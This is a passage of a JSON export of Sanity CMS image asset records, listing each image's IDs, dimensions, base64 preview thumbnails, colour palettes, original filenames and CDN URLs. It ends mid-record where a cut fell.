{"_createdAt":"2024-02-15T15:31:01Z","_id":"image-534d7ce4e98c8f932a4bc8df0514cf65f430d6ef-2830x1640-png","_rev":"UjGmMOs0V2SxB808hz0q9o","_type":"sanity.imageAsset","_updatedAt":"2024-02-15T15:31:01Z","assetId":"534d7ce4e98c8f932a4bc8df0514cf65f430d6ef","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB2*FpVmW@aSpJp5U^ffa0e,U]kObIf$ad","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.725609756097561,"height":1640,"width":2830},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAACdklEQVQokWWTW2sTQRTHZ9Omu2k22VydJjtnZnc2m0s3mVzapGmbW7NJLTSISPWhBR8EEQRxqfgJBN8E32XVBx/0A/is+yCCX6oSm9aGHvhxXg4//sM5g9CNAoD/UJCBUQ0YTQOjGWA0uyABlMrzGRUhVH03QMJ3r1kqarFLDCoxx1SMppU0WlbaqPMsq3HMajzPBM+yKo/o6gaqfz0MCd+NCN+NLfoqwl5wDXNMZHZsxMqGZPaKCp9W4nxUihnbhQSr86zRsHLmfvGOdbQZLXudkPg8kYXv5oXvFoTvUuG7eElIB3cRHxYRq3GJj8uKdexEza69zsqGSm2WYFUzw8fltH1aV523vbD45EaF73Lhuw3huxXhu2xJCP0ZMps5xEqGxIcl2Zo5Kp9UVKNjx42WlTS2Cxk+KqWsmbNePu+sLBLmFgnnSeNz0eoCKffkCyI7x4gyKrEtRzan3ah51FONQVtju60U6zYyrNtIsJYjA9al+rdDSfiuInxXXfTQXJjHXrCBvSCJvZ8R/PrPSv7+mxV9/1GEDE9V0n8QI+2JRlrDFNkap8jOsUaaBzIYthRCGFXfj5a3jL2gib2gjr3Axl6A8fmvSO7xx3B++iKaHz+L690TlYiDOKn2E3pjmtS7J3HSnilgVyW6N0L3Lp7eEs5lNewFBvaCBH71O/wv4e6JovfOVH3voUqaE42IQYqIQZo0JwlS68tgFiSd1pF91r4lvHpyHL/8sZr5cIGA5CXgxTVS3lKIsxshpWYM7GoSrM00WBUNTHt+2BIlOgLKlo/5xlJCG8+/I2D8UggQBgAFACIAoAKAtiAKAGtz4dWvull/Afi7ov2FyZQ4AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#275331","foreground":"#fff","population":0.51,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#082458","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#275331","foreground":"#fff","population":0.51,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#254973","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9bbade","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4e745e","foreground":"#fff","population":0.05,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2c5686","foreground":"#fff","population":0.02,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"sql-optimization-paginate.png","path":"images/sczeoy4w/production/534d7ce4e98c8f932a4bc8df0514cf65f430d6ef-2830x1640.png","sha1hash":"534d7ce4e98c8f932a4bc8df0514cf65f430d6ef","size":145385,"uploadId":"HLTchmJ6ukHny2nDWuOIz7rFYhgPnhZu","url":"https://cdn.sanity.io/images/sczeoy4w/production/534d7ce4e98c8f932a4bc8df0514cf65f430d6ef-2830x1640.png"} {"_createdAt":"2022-09-30T15:36:55Z","_id":"image-539f6080f6abc17f99a242436a7361c0dd5a2f39-2908x1330-jpg","_rev":"XMqVxILwpPMz4xYxc7pBm3","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:55Z","assetId":"539f6080f6abc17f99a242436a7361c0dd5a2f39","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MSIz0gD-8JI[rt^lE9pcV?xEE%S1n$rqr=","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.186466165413534,"height":1330,"width":2908},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAJABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAQGB//EACMQAAEEAAUFAQAAAAAAAAAAAAMAAQIEBQcSITQRQmFxsXL/xAAUAQEAAAAAAAAAAAAAAAAAAAAF/8QAHxEAAQQCAgMAAAAAAAAAAAAAEQABAgMEBRIhYXGR/9oADAMBAAIRAxEAPwCRCQRmk8CsYW2ksodfiZwKI6WLNaJJjVxtqlCElOZU8az+U4Lk4n6b6jdhOy/YPCxyB8dM4dzY2DKFTAk+fa2KvmVSCGMIAd2Zu9928IWJXORP2hI8B0h+Z7C//9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e575e","foreground":"#fff","population":0.33,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#831409","foreground":"#fff","population":1.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f5460b","foreground":"#fff","population":5.32,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4b19c","foreground":"#000","population":0.72,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fabe5d","foreground":"#000","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b89b79","foreground":"#000","population":4.47,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5460b","foreground":"#fff","population":5.32,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"539f6080f6abc17f99a242436a7361c0dd5a2f39-2908x1330.jpg","path":"images/sczeoy4w/production/539f6080f6abc17f99a242436a7361c0dd5a2f39-2908x1330.jpg","sha1hash":"539f6080f6abc17f99a242436a7361c0dd5a2f39","size":1190528,"uploadId":"F2FAd5gFUA8eyUB8CukwKfH05uli8Phu","url":"https://cdn.sanity.io/images/sczeoy4w/production/539f6080f6abc17f99a242436a7361c0dd5a2f39-2908x1330.jpg"} {"_createdAt":"2024-08-14T07:21:36Z","_id":"image-53b803d6de45a6d7127ed675409e1140790e45ba-1200x628-png","_rev":"s0dP0dEg2u16GKIcfjiagT","_type":"sanity.imageAsset","_updatedAt":"2024-08-14T07:21:36Z","assetId":"53b803d6de45a6d7127ed675409e1140790e45ba","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M784v3_09DV?oh?dxuM_RkkD4TM{%NRij]","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.910828025477707,"height":628,"width":1200},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAA7EAAAOxAGVKw4bAAACYklEQVQokT2S+1MSURiG+Q8KlgWEXVkuUXlJi/FS4W0cwEXE3RS85B1RVLymziRqYFZes0kby/pfn4aD4w/fnJkzc57zvt/7WiRPhoZwnkjvDm96duiKFelNlOmMlemKHxNLnRNNXdIZv6C16wx/wyEO3wZ2NYfNM4XVPYWkZJG9K7j8H7DI6ggv21eIJYtEkwfEU2VS6RN044R46pRU+gfm6A39Q9d06z9oaD1GCW1hV7NY3TMCZlPmsKsLOH2bWNz+cdq7Nug3P6EPluiO7xMb+Exy6Iz+oQt085KB9E/MsVuMsT/EjWtevS2hPCng1ApClewtINcu3QN947RE1h4UdkaL9Ogl4qmvxAdPhWXdvCKV+UV68h/pyTtxF44cEHyxhydUxOXfxqEVkL3LVWBbxzoJ45B+s4xuHKEbX0iYJyTMcwbSVwyOXGOM3jI88ZfM1B0J85TXPfuEmj/iDu7i0FaRlHmxT2G5tWMdffCQhFEmmiwRTR7RZ3yjzzgTavqM7/e2f2OM3giY9mwRl2+pClNzWN2TWN0TWGQlQ7BulqaWZZrb1qgPV2aTprZdmtv3aGwtimluLxKOlAhHjgg2botQbMo8sndJqKsEIyxLThNNHSYUmiRQl8MTzOLwZnFoC7h8lSqs4fKv4tAWcWp5agLruPwb2GsXsHlmBahy2tXFaiiS0yCgmjx/OkGwPoc7kMXmmRG/29W8SNBem8fqnq52Tl0UnZOUuXub0w89dPq3sDxymEiud8ieDLL6HkmZEkBJnRdVEI/VeR7XjIupgKo7uy+1mhMfOrQ1XIFd/gOhD2i1CI2oTwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e456d","foreground":"#fff","population":1.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":9.14,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131b6c","foreground":"#fff","population":9.14,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#959ac2","foreground":"#000","population":1.14,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e0e7f3","foreground":"#000","population":7.53,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#696f93","foreground":"#fff","population":1.9,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bb4246","foreground":"#fff","population":0.17,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"The Dark Side of Real-Time Privacy Concerns and Ethical Dilemmas in Retail.png","path":"images/sczeoy4w/production/53b803d6de45a6d7127ed675409e1140790e45ba-1200x628.png","sha1hash":"53b803d6de45a6d7127ed675409e1140790e45ba","size":264111,"uploadId":"Gz9InuTEOgN85rTy1PZ9WVmIg3ALP48J","url":"https://cdn.sanity.io/images/sczeoy4w/production/53b803d6de45a6d7127ed675409e1140790e45ba-1200x628.png"} {"_createdAt":"2022-06-30T20:00:50Z","_id":"image-53ce11c0220f76e090dc15bda6358c562dba20be-949x391-png","_rev":"ecafYeJdFUSoqAVEkXNodo","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T01:02:20Z","assetId":"53ce11c0220f76e090dc15bda6358c562dba20be","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M4EKWF0h0M;LEe3X+gIoS]=r0L-T|NK4S^","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4271099744245523,"height":391,"width":949},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAIAAAB2/0i6AAAACXBIWXMAAA7DAAAOwwHHb6hkAAABzUlEQVQYlSXNW2/SYADG8X4HAW+MG4dCS9u30Na+b4EWKLUvPQClQKvxNCIDg9lWsmWR6C7MvMBdKBdG4xwxcZ5NTPyGppr88tz98xCpK4nr17Yy6Vw6ncvESJqkJABUJNQVUYWiqog1JEplUCoW+QJNk3SBpIsFKp8jiVQimdnOcgVWoMqoKKkAmlAbGvq8Xzv2pcgT9gdiNJTmXXFqwRnW7jT1oNUIMcQKQ1xNpmiSaolohBpjVZ8beK8zOr51b/3Q/zJpXY6bm4mxmeH3j6z1xF7t2M/vdk53nJMH2n27HMdMnnKQNNPRgSlHbWXPNQ48fxWEnwLv27D3YdB9PXDOAvdFaC2H9SO/trzdiEJ1aAj/n/MY8uMmmLa4XZ3bNUpTEz1pN986+ldH/2g11rh6ZlZXuHpqSidYetZXF149UAUi9S+2ET8zwD4GEQaLNli0+aVdXrvSDw/+6Su/u+hXB/100XcHfnbRpa+96WkLTSSSiWQhk7UReGzyh1bsyOIP2/E+tUsvHeFd98amI28c+cKBF7Z8bsnnFnx1U44qJSKZSGS3tqslplcBvsLGKpyHmL7CxhAzqoAQgZHMBogPIBfIXCADT2ANjv4L+XGGpu51a0UAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#282c47","foreground":"#fff","population":0.55,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b55716","foreground":"#fff","population":1.08,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f37744","foreground":"#000","population":4.24,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b56490","foreground":"#fff","population":2.32,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dcbc57","foreground":"#000","population":1.08,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5479ad","foreground":"#fff","population":1.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f37744","foreground":"#000","population":4.24,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"53ce11c0220f76e090dc15bda6358c562dba20be-949x391.png","path":"images/sczeoy4w/production/53ce11c0220f76e090dc15bda6358c562dba20be-949x391.png","sha1hash":"53ce11c0220f76e090dc15bda6358c562dba20be","size":127932,"uploadId":"xtpDY2aHrAruifehBkR18apavRLKG8No","url":"https://cdn.sanity.io/images/sczeoy4w/production/53ce11c0220f76e090dc15bda6358c562dba20be-949x391.png"} {"_createdAt":"2023-11-27T08:06:47Z","_id":"image-53e3b614e4d2aa1830924e681630b9e1f139bbd6-1480x790-png","_rev":"BjY9n6joNYFLmv1rs47yY7","_type":"sanity.imageAsset","_updatedAt":"2023-11-27T08:06:47Z","assetId":"53e3b614e4d2aa1830924e681630b9e1f139bbd6","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD4.TCxvWARiRitWayaxayj[kIWAj[ogof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8734177215189873,"height":790,"width":1480},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB8UlEQVQokW2SXVPaQBiF+QNEqxJiExOSkJCEYATRUalW2wsu9IogCPhBAppx6GA/rG2n/J7e9U7/3p7OLh+FtBcnZ2f3nWfP+2YTO+9/kYPqb3J4+oyjsxdydPaCuOjZ/zQ5J1M/PH0mCcn8SDT3iZhbP2F4I+Z2aQRnewR7ewTD+4GM8wTF/rog2Xqcisw5SSyl6xAyHSi5gMhmCCUXQnN6MNw+cpt30JwQon4FQemA32iBl9vg5RZerZ+D431wfJ2KTBwJjveJoLSJaofIunck50XIl+5RKN/D2x0gX4qg2QHW1Q5SGxdIKy2mZeEcyVQNHF8j1JMp5oQCWWHW7aO494C9t19QefeI/ePPKFeGcIoRZPMGq2ITtJuV143ZOpmiCReVoHRaZLg9BjmpfsdJ9Rsqx5/glSNkzGt24RhQw7JQZ+0upf1JQn/mDEg/FJixAmzuDFDaHzIVyxGc/DUkdX5ePgNR+DwoGQfSYctGFxmrD9W+RTZ/i5zbg+UG0Kwum9+a1BxLbC5cwMVbZkC5Bc3pwy4OUCh/gFuMkHW6UC2qAIp5A0m/gqhfMtF6+lPi6WbAVbEB3QlROhhi980DClt9SOoF1sTG32STdNP1NOU/QLoxfottBtWdAJLaxorgg6PPgRbGZkXr43OcAv8A5s1qqyfz7s0AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#30385e","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":55.77,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c1454","foreground":"#fff","population":55.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9da4cd","foreground":"#000","population":2.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dbe0fb","foreground":"#000","population":0.13,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6971b0","foreground":"#fff","population":0.52,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5766e6","foreground":"#fff","population":5.82,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Code snippet (1).png","path":"images/sczeoy4w/production/53e3b614e4d2aa1830924e681630b9e1f139bbd6-1480x790.png","sha1hash":"53e3b614e4d2aa1830924e681630b9e1f139bbd6","size":79096,"uploadId":"GcYWNN99eAV1HokfsbAaiS1BCHkO76jZ","url":"https://cdn.sanity.io/images/sczeoy4w/production/53e3b614e4d2aa1830924e681630b9e1f139bbd6-1480x790.png"} {"_createdAt":"2022-06-15T20:02:37Z","_id":"image-53e6930fe86ea1e4cbeae9b43bf16f01846636c7-1567x844-png","_rev":"z4aw9LO53fWpwEzdXNEWSS","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:06:48Z","assetId":"53e6930fe86ea1e4cbeae9b43bf16f01846636c7","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MbOpPu?wyDDOx]O[IV$*SwS5?GIUR*xabb","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADVUlEQVQokRXRa1MbZRiA4f1H9oOO4+D4ResgEzpSO0xEZzpTqMXEsUKtLWOLEMWSlGgYsFpsSAtok5Z6qrWcEw4Jp5KGhJBmc9hsNtnd7PtmNyeQUvd5HD7cc/2Am+EyciebFFzJdP5BMi3eZ5PCZIoTJ9MZ6UiPkC+O8QIZ3QruONc3t0cTLDtaSK04y3H3aCk97aQy7yK06ia0dofQ6lUmspNwLvs3Wa8voPoW14h3cZUuLq3TlcATuraxTdiEUNiOsPLIzy6519In37wxKD2a6JU2PWfk9GyHrOz+LlE5RyktpygtPWBC4fi9BV+g+M/jeTzq8fQCTs340Lu4isFQDFOchF5fAD8934EGgwFbjM1oaj2FV8z1+Ou1BkxOd6GW2UBVoWVVIXNMOMK6l1c2ldn5ZZydW9LnvX5Y8AVgbSME6YwEWUGBu+5JMDSe0F86dgzq6urg+PG3obHhLb333Bt66JdWnezOIRFFVZPFGYbPKh42KZBYPIPP4hmIJ3hkEzxwXB6VggpZPg/jYxPw3smT8OorL8Prda9Bff078H5zE/R3nIIF1xcQXHyEsZ1drcCnZxhCqx6FVIhCykhICSgpISUqFpUiFhWKeSGP/mU/3hpyYE97C5qb3sS2D5vx0uedaP+mC4es3TD0/QBO3L6teacezjKUljxFqhGVqqiSoq4RAiVFgZIiA5UkyGVFSCWzwC4vQMj+GbhNBui78DH09/fDwHUbXL3yJXxiNuFHba1lc/tZP6MpikcrFBStIGOpIOnlQh4qhRxUZQFKIg+KwIPIZYD6piDbcw7ut50AS4cJ+nq6wd7/LXxnu6Zfvth5NKvS1NiwwVT45D2VYynJsKjlUliTONyT07gvpXBfSuCeyGJNiOG/vr+QXDbhQ+O7aDtzGn84b8Ifu7vw5qAdncN2/GnAUnE5vl5iavGnw8Xok6AYC/KUi6b3RJY7kFjuQHzGPRdj3KEY5V6IO5y+Nc8d2CyZiLEl96exRZwzn83+9tWlzIjDlp2evJNLrv4dVqPecWafi3xQSW13a+mwrZqNWg/EmPW5GLMeilHrYT5ifZELW//Lb1v15LpVv+uyqafbh7lG44h08YLj6S3H9bEb9kHvH+NDtYTfguJW2/9EdqC1+hedzwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3e403f","foreground":"#fff","population":2.92,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#78510c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8c8d8f","foreground":"#fff","population":7.43,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d0b898","foreground":"#000","population":0.55,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e7503f","foreground":"#fff","population":4.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c8d8f","foreground":"#fff","population":7.43,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e9a428","foreground":"#000","population":2.95,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"53e6930fe86ea1e4cbeae9b43bf16f01846636c7-1567x844.png","path":"images/sczeoy4w/production/53e6930fe86ea1e4cbeae9b43bf16f01846636c7-1567x844.png","sha1hash":"53e6930fe86ea1e4cbeae9b43bf16f01846636c7","size":558027,"uploadId":"EudBMwzvUknFAUBjz0dj2Rd63JtUWDmO","url":"https://cdn.sanity.io/images/sczeoy4w/production/53e6930fe86ea1e4cbeae9b43bf16f01846636c7-1567x844.png"} {"_createdAt":"2023-07-24T09:00:06Z","_id":"image-53f96d95d3865f8e23c5efed9f4699328bb9f2b2-435x114-png","_rev":"NeUDFQb3AItwK5kiulRfCb","_type":"sanity.imageAsset","_updatedAt":"2023-07-24T09:00:06Z","assetId":"53f96d95d3865f8e23c5efed9f4699328bb9f2b2","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.8157894736842106,"height":114,"width":435},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAFCAYAAABFA8wzAAAACXBIWXMAAAsTAAALEwEAmpwYAAAA+UlEQVQYlVWQTSuFURSF3/I1NPQPGBgqSsRaE0mKTPdKtyjiGvm4EjdcH1eUSJ019ke133smBqfdOvusZ6+zGxkrYZ7KHMrshckonJe5IHNGxlgYkzInZI7/r5iKgtTTMmZlzjVhHMkcVOCzzNR7Mg9k7kbBqkyMDtZUSJnrrS5cDmMpzA2Z2zIXG5n9CurJfKi6K/NKxq2MR5nXMu9lPsm8kHkz6vG4Bsj79G4l8F3md304UEECOzJOZPTD+FRpYR8y36K0PzqvgAzyIvNH5pfM/SYKhlHwq9LuLyddytzM6WHcRck0aUYau2HsyDysKV9HQOTKMsjZH6iOn9Z58Q9aAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d4f31","foreground":"#fff","population":0.46,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#366919","foreground":"#fff","population":0.12,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5ba43e","foreground":"#fff","population":1.13,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3d6f29","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#afda9e","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6da452","foreground":"#fff","population":0.23,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5ba43e","foreground":"#fff","population":1.13,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"logo-bonsai.png","path":"images/sczeoy4w/production/53f96d95d3865f8e23c5efed9f4699328bb9f2b2-435x114.png","sha1hash":"53f96d95d3865f8e23c5efed9f4699328bb9f2b2","size":3152,"uploadId":"1mXGNjgRG8IBCQelFgT2EleD7LsE3Btz","url":"https://cdn.sanity.io/images/sczeoy4w/production/53f96d95d3865f8e23c5efed9f4699328bb9f2b2-435x114.png"} {"_createdAt":"2022-09-01T16:32:18Z","_id":"image-5421254480fd00a5d9d01c864e0cded9721ee593-126x35-svg","_rev":"NP13hfqQL439XkUvmXUo1g","_type":"sanity.imageAsset","_updatedAt":"2022-09-01T16:32:18Z","assetId":"5421254480fd00a5d9d01c864e0cded9721ee593","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D96@BN}Z^5-CsV1N1a5*EgS1","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.6,"height":35,"width":126},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABR0lEQVQYlV2OTUuUYRiFXy2JIr8IbDGe69HXQfxsoYtSohjMleedocFZiA7ojBAKjkoaGoxKhiRBtIhAcNe+P+Qv0ZUMPoG0uOCcw+G+TyL8SLhH+KnwE+HuSJfw40incJ/wK+EZ4WfCz4XnhN9G3brRmxBcIGSVELISwQvCK8J14WVhC2fCSzH/JLwrXBIux05ZuBg764nwYQ4f5+TTfnwqfC78Q/gs6t/CF8Lfhb8Jnwh/FN4T3hHeFz4S/ir8J0kHst2RtNicGCo1h9NiI4SstW4dvCqyhvAX3T3aEK4KfxBeE64ILwrXhLdbw8A/k8WpSu3sXfXg0qubzcLym8l8KZ+T0xCyQeFh4UnhaeG8cIh+TBhhCafC48IvwbPJ+Xx1/6q++eumsf35eqvx4m+53pE8LLS9Hn3fLtwW+V/f9/94AFn7LbnGaIdI7TdeAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#624236","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#241c64","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f4727e","foreground":"#000","population":0.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ca8486","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4727e","foreground":"#000","population":0.84,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9d5e66","foreground":"#fff","population":0.16,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc6472","foreground":"#fff","population":0.16,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-ometria.svg","path":"images/sczeoy4w/production/5421254480fd00a5d9d01c864e0cded9721ee593-126x35.svg","sha1hash":"5421254480fd00a5d9d01c864e0cded9721ee593","size":2833,"uploadId":"QHo05ZIyDtxptJ4f1yp0jBDMDFev0jhm","url":"https://cdn.sanity.io/images/sczeoy4w/production/5421254480fd00a5d9d01c864e0cded9721ee593-126x35.svg"} {"_createdAt":"2022-10-25T14:31:33Z","_id":"image-54d4bfbc7843ed28e6b7579bf4aa4ce381cc9c21-1449x613-png","_rev":"9EhxcQHTplKyRiLd2Px1hw","_type":"sanity.imageAsset","_updatedAt":"2022-10-25T14:31:33Z","assetId":"54d4bfbc7843ed28e6b7579bf4aa4ce381cc9c21","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKKK+KMxoiDgs*~p?Y-m$]xs01xoxmogo#","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3637846655791193,"height":613,"width":1449},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACk0lEQVQokQGIAnf9AP/zAAL36gEF4d16CN3bpAr18IAGdG8fAwQDABEHBwQcSEhFEtDRzQqur6wFSUYDAltWAAITEgMCk40oAVlVCggcHAsZKysoHnBxbQ/y8uIDAPjsCy7y6CVN6eBHPNjVixfh4L8KsrKvBiMlPgorLDwOl5irDdLRqBCrpS4alY0DJJKKACeVjggftK5AEaKgegozMzUNXl9rEbq7yxDd3/cIAPbrIGjp4lSr39p8h9LQpy/S0b8c09K6Lc7MtTHNy7Yz09K6NdTQiTW+tixCnpYJV5WNBF6spBNOysRYOtLQqTTOzLYy0c+6NtbUwjvW1L8wAOXcPlzV0Xybycehhr28rTnRzqQ42NWoY9PQpXbQzaN41NGidtXQe2zKwjVhrqUQZqKaC2u+th1i0stYZ9XRlHXQzqR5z8ykfdfUq3nZ1qhmAJmWTDKLim1KgIB7Rn59bynHw4Ut08+BTr25bWiyrmVvxL9tZc/IUF/MwiBixbsNZsG3C2fKwBRlz8c0ZMrEYGayrWdysKxqeszIg2zc2JZWAEVEJBYYGBEZDw8KGTY2KxO4s1wWxb0uM6mhGVWelxNfr6cZUMW8GTXKwBEryb4MLsS5CS/GvBQuzMMmNLmxIEmclRhhnpghab23PVPe2HAxADs4AAMQDgADBgUAAygqQQPPyDwIzsQRH7+2Cja6sQs9v7YMNc3DEBrKw0AHRkQdCiIgAw5hYEMK1M5WFMW9IC64sBQ/vLQgRMW9KDbMxTwaABgVAAAAAAAAAAAAAAAAAAD//wAA4tgWAuLaQgXa1FcHvbY4BsnCNQNOTjoDBQUGEQAAABoMDA0Lw8CAA8C6TgbW0WwJyMWDDnt4SxAmJQoONrQZHR6lzEwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#605d2d","foreground":"#fff","population":0.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d5a07","foreground":"#fff","population":0.72,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f6ed07","foreground":"#000","population":3.03,"title":"#000"},"lightMuted":{"_type"